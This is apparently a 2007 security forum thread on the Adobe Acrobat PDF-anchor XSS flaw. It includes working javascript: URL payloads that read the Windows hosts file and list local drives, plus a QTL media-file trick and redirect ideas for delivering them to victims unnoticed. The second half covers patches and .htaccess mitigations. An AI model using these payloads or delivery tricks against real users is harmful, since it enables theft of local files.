Hi!

RSnake - i just took the PoC from your blogpost and created this:

file:///C:/Programme/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:try%20{var%20req%20=%20new%20XMLHttpRequest();req.open(%22GET%22,%20%22file:///C:/WINDOWS/system32/drivers/etc/hosts%22,%20null);req.send(null);%20alert(req.responseText)%20}%20catch%20(e)%20{console.dir(e)};

Scary? Scary! ;)

Greetings,
.mario



Edited 1 time(s). Last edit at 01/04/2007 03:12AM by .mario.

This is really nice, .mario :)

btw,
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:try%20{var%20req%20=%20new%20XMLHttpRequest();req.open(%22GET%22,%20%22file:///C:/WINDOWS/system32/drivers/etc/hosts%22,%20null);req.send(null);%20alert(req.responseText)%20}%20catch%20(e)%20{console.dir(e)};
for English users.

I was thinking to check if you could write files and I tested the code from this link. http://www.captain.at/programming/xul/
It's working but it displays a confirmation dialog so there is no way without user interaction.

I was wondering why this XMLHTTPRequest read is working without confirmation.
Any ideas?



Edited 2 time(s). Last edit at 01/04/2007 04:01AM by blad3.

Guys, I think I found something even more scary.
The proof of concept from .mario can be used to read any file local file.
But, it's possible to get local directory listings by requesting an url like file://c:/. So, with this trick you can basically expose the contents of your hard drive.

POC
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:try%20{var%20req%20=%20new%20XMLHttpRequest();req.open(%22GET%22,%20%22file:///C:/%22,%20null);req.send(null);%20alert(req.responseText)%20}%20catch%20(e)%20{console.dir(e)};

How is this useful, because we can't include the url in an iframe, because then FF throws a security error. So how would one use this attack vector against anyone? Is it only possible to exploit by giving people the url over msn, irc or email?

I think it's only possible to exploit by giving people the full URL.
It doesn't work from some iframe or as a link.

Tested and working on Adobe Acrobat 6.0 CE + IE 6 (WinXP). I can't find any way to use it in reality (iframe, link or redirection does not work, unless I forgot something), but I bet there is some way...

you just have to use a short-url service (or create one yourself), digg the link or send it around via im and there ya go.

you can also modify the link so that it redirects on any url you want after sending you the contents - so the user wouldn't possibly even notice what happened.

or you can take a look at pdp's afterparty - there are more ways to exploit this vulnerability
http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/



Edited 1 time(s). Last edit at 01/04/2007 09:10AM by .mario.

birdie Wrote:
-------------------------------------------------------
> How is this useful, because we can't include the
> url in an iframe, because then FF throws a
> security error. So how would one use this attack
> vector against anyone? Is it only possible to
> exploit by giving people the url over msn, irc or
> email?

Create a QTL file with mp3, mp4, mov, avi extension. Put the following content inside:

<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true" qtnext="file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#something=javascript:your_code_here“/>

When the user visits the file, their local file system will be explored and dumped on a remote machine. It is a bit evil I know.

for more info:
http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/
http://www.gnucitizen.org/blog/backdooring-mp3-files/

I think browser won't allow file:// redirect, so even short-url service won't help.

Edit: I'm writing too slow, two post appeared before I submitted this ;)

Edit2: This QTL trick looks really interesting!



Edited 2 time(s). Last edit at 01/04/2007 09:27AM by lpilorz.

Firefox does not allow to redirect to file:// from http://

pdp.gnucitizen, it worked, a very serious vuln.



Edited 2 time(s). Last edit at 01/04/2007 10:58AM by birdie.

damn... this is by far the most dangerous hack in 2007.

Ghehe this rocks:

local\pdf_file.pdf#blah=javascript:document.location="http://ha.ckers.org";



Edited 1 time(s). Last edit at 01/04/2007 11:50AM by jungsonn.

Is there any obvious way to protect yourself?

In FireFox (linux) PDF's won't open, they are being downloaded first. I don't have Adobe I've got some lame linux PDF viewer. Which is clever. Everything i download goes to a protected area on my PC. You can configure this in FireFox.

I was able to get it to work with FireFox but it does not seem to be working with Internet Explorer. Anyone got an idea why? has anyone been able to get this to work with IE?

As I said in a comment, Adobe has already released a patch.
http://www.adobe.com/products/acrobat/readstep2.html

Well, I released my own patch:

For Apache:

[does not work]

RewriteEngine On
RewriteRule .*\.(pdf)$ index.php [L]

[/does not work]

If forces anything after: .pdf<anything> to be directed to the index.php

file.pdf# will fail
file.pdf#bla=javascript will fail

file.pdf opens the pdf file.



Edited 1 time(s). Last edit at 01/05/2007 12:41AM by jungsonn.

Apache cannot see #blah= ... Anchor tags are not passed to the server. Nice thought though.

- RSnake
Gotta love it. http://ha.ckers.org

Yeah it doesn't work, next time I read the fucking manual ^^

But strange, I got it right a couple of times. the above result where live examples. but then again it fails more after a few test rounds. Now that I know: it should not fail.

I also tryed [NE] and and \#
which will only work on a rewrite rule into a ouput file like: index.php#info

I made a smal PHP file can do the matching and strips the # of the REQUEST_URI, but that's ugly.



Edited 1 time(s). Last edit at 01/05/2007 12:35AM by jungsonn.

REQUEST_URI will never contain #... that would require the server to see it, which it doesn't. So it's not just ugly, it actually can't work, unless the browser is somehow mis-configured to send that information to the server.

- RSnake
Gotta love it. http://ha.ckers.org

IE7 and IE6 SP2 does not appear to be vulnerable ot this attack. I think this works with Firefox and Adobe ver <8

@RSnake,

but, i gave it some more thought, you could rewrite every PDF file:

RewriteRule .*\.(pdf)$ \$1\#abcd [NE,R,L]

this grabs any PDF file (even pdf#) and rewrites it to: file.pdf#abcd
which does not matter cause everything after # is crap.

haven't tested it, but it seems an idea, maybe it excutes differently.

I'm going to kick some anchors today ^^ Grrrr..

lpilorz Wrote:
-------------------------------------------------------
> Tested and working on Adobe Acrobat 6.0 CE + IE 6
> (WinXP).

Edit: SP2
Edit2: this is the proper code to test on IE:

file://C:/Program Files/Adobe/Acrobat 6.0 CE/Resource/ENUtxt.pdf#blah=javascript:try {var req = new ActiveXObject("Microsoft.XMLHTTP");req.open("GET", "file:///C:/WINDOWS/system32/drivers/etc/hosts", null);req.send(null); alert(req.responseText) } catch (e) {alert(e.message)};



Edited 2 time(s). Last edit at 01/06/2007 10:28AM by lpilorz.

@Jungsonn, yes, but wouldn't that put it into an infinite loop of redirects since it would redirect it to a file that it was told to redirect to that requires a redirect, etc... etc...?

- RSnake
Gotta love it. http://ha.ckers.org

Yeah i'm stuborn ^^ I can't stand it!

Ghehe.. I go pop a beer, and damn Adobe for the rest of my life for my newly developed anchor insomnia *_*

Ok I must confess i'm totally crazy,
but I cannot rest until i can fix this. ^^ So ghehe I tryed the next thing:

.htaccess:

AddType application/octet-stream .pdf
AddType application/octet-stream .PDF

And this worked for server PDF files, not only typed into the URL bar, but also as a link. It forces to download the PDF and shows no XSS.

At least on my server, I emptied cache a couple of times and test with and without .htaccess and it seems that it works.

Let me know if it works for you also.

Opera response:
http://my.opera.com/hallvors/blog/2007/01/06/patching-adobe-s-hole